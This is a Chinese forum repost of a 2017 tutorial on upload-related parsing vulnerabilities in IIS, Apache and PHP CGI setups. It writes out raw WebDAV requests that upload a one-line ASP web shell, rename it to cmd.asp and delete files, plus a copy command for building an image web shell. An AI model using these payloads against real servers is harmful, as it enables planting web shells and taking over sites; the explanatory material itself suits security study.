搜索

[20936] 2017-11-09_[web安全]上传漏洞之解析漏洞

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-18
2017-11-09_[web安全]上传漏洞之解析漏洞 [ w e b 安 全 ]   上 传 漏 洞 之 解 析 漏 洞 L e m o n S e c   2 0 1 7 - 1 1 - 0 9 一 、 一 、 I I S 解 析 漏 洞 解 析 漏 洞 1 . 当 建 立 * . a s a 、 * . a s p 格 式 的 文 件 夹 时 ， 其 目 录 下 的 任 意 文 件 都 将 被 I I S 当 作 a s p 文 件 来 解 析 。 2 . 当 文 件 为 * . a s p ; 1 . j p g 时 ， I I S   6 . 0 同 样 会 以 A S P 脚 本 来 执 行 。 微 软 并 不 认 为 这 是 一 个 漏 洞 ， 也 一 直 没 有 推 出 I I S   6 . 0 的 补 丁 ， 所 以 这 两 个 “ 漏 洞 ” 至 今 还 存 在 。 3 . W e b D a v 漏 洞 （ 对 I I S 写 权 限 的 利 用 ） 第 一 步 ， 通 过 O P T I O N S 探 测 服 务 器 所 支 持 的 H T T P 方 法 [ p l a i n ]   v i e w   p l a i n   c o p y 1 .   请 求 ：     2 .   O P T I O N S   /   H T T P / 1 . 1     3 .   H o s t : w w w . e x a m p l e . c o m     4 .       5 .       6 .   响 应 ：     7 .   。 。 。     8 .   P u b l i c : O P T I O N S , T R A C E , G E T , H E A D , D E L E T E , P U T , P O S T , C O P Y , M O V E , M K C O L , P R O P F I N D , P R O P P A T C H , L O C K , U N L O C K , S E A R C H     9 .   。 。 。     第 二 步 ， 通 过 P U T 方 法 向 服 务 器 上 传 脚 本 文 件 [ p l a i n ]   v i e w   p l a i n   c o p y 1 .   请 求 ：     2 .   P U T   / a . t x t   H T T P / 1 . 1     3 .   H o s t : w w w . e x a m p l e . c o m     4 .   C o n t e n t - L e n g t h : 3 0     5 .       6 .   < % e v a l   r e q u e s t ( " c h o p p e r " ) % >     第 三 步 ， 通 过 M o v e 或 C o p y 方 法 改 名 [ p l a i n ]   v i e w   p l a i n   c o p y 1 .   请 求 ：     2 .   C O P Y   / a . t x t   H T T P / 1 . 1     3 .   H o s t : w w w . e x a m p l e . c o m     4 .   D e s t i n a t i o n : h t t p : / / w w w . e x a m p l e . c o m / c m d . a s p     第 四 步 ， 使 用 D E L E T E 方 法 ， 攻 击 者 还 可 以 删 除 服 务 器 上 的 任 意 文 件 [ p l a i n ]   v i e w   p l a i n   c o p y 1 .   请 求 ：     2 .   D E L E T E   / a . t x t   H T T P / 1 . 1     3 .   H o s t : w w w . e x a m p l e . c o m     二 、 二 、 A p a c h e 解 析 漏 洞 解 析 漏 洞   在 A p a c h e   1 . x 和 A p a c h e   2 . x 中 1 . p h p . r a r 会 被 当 作 p h p 文 件 执 行 。 A p a c h e 在 解 析 文 件 时 有 一 个 原 则 ： 当 碰 到 不 认 识 的 扩 展 名 时 ， 将 会 从 后 面 向 前 解 析 ， 直 到 碰 到 认 识 的 扩 展 名 为 止 ， 如 果 都 不 认 识 ， 则 会 暴 露 其 源 代 码 。 这 种 方 法 可 以 绕 过 基 于 黑 名 单 的 检 查 。 A p a c h e 认 识 的 扩 展 名 保 存 在 安 装 目 录 下 " / c o n f / m i m e . t y p e s " 文 件 中 。 下 图 为 本 机 的 情 况 ， 文 件 在 路 径 C : w a m p b i n a p a c h e A p a c h e 2 . 2 . 2 1 c o n f m i m e . t y p e s
三 、 三 、 P H P   C G I 解 析 漏 洞 解 析 漏 洞 在 某 些 使 用 N g i n x 的 网 站 中 ， 访 问 h t t p : / / w w w . x x s e r . c o m / 1 . j p g / 1 . p h p ， 此 时 的 1 . j p g 会 被 当 作 P H P 脚 本 来 解 析 ， 此 时 1 . p h p 是 不 存 在 的 。 这 就 意 味 着 攻 击 者 可 以 上 传 合 法 的 “ 图 片 ” （ 图 片 木 马 ） ， 然 后 在 U R L 后 面 加 上 “ / x x x . p h p ” ， 就 可 以 获 得 网 站 的 W e b S h e l l 。 这 不 是 N g i n x 特 有 的 漏 洞 ， 在 I I S 7 . 0 、 I I S 7 . 5 、 L i g h t t p d 等 W e b 容 器 中 也 经 常 会 出 现 这 样 的 解 析 漏 洞 。 这 个 解 析 漏 洞 其 实 是 P H P   C G I 的 漏 洞 ， 在 P H P 的 配 置 文 件 中 有 一 个 关 键 的 选 项 c g i . f i x _ p a t h i n f o 在 本 机 中 位 于 C : w a m p b i n p h p p h p 5 . 3 . 1 0 p h p . i n i ， 默 认 是 开 启 的 ， 当 U R L 中 有 不 存 在 的 文 件 ， P H P 就 会 向 前 递 归 解 析 。 附 ： 用 c o p y 命 令 制 作 图 片 木 马 ： c o p y   1 . j p g / b + 1 . p h p / a   2 . p h p   （ 其 中 / b 表 示 二 进 制 文 件 ， / a 表 示 A S C I I 码 文 件 ） 转 自 ： h t t p : / / b l o g . c s d n . n e t / h i t w a n g p e n g / a r t i c l e / d e t a i l s / 4 6 9 1 3 9 5 7
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理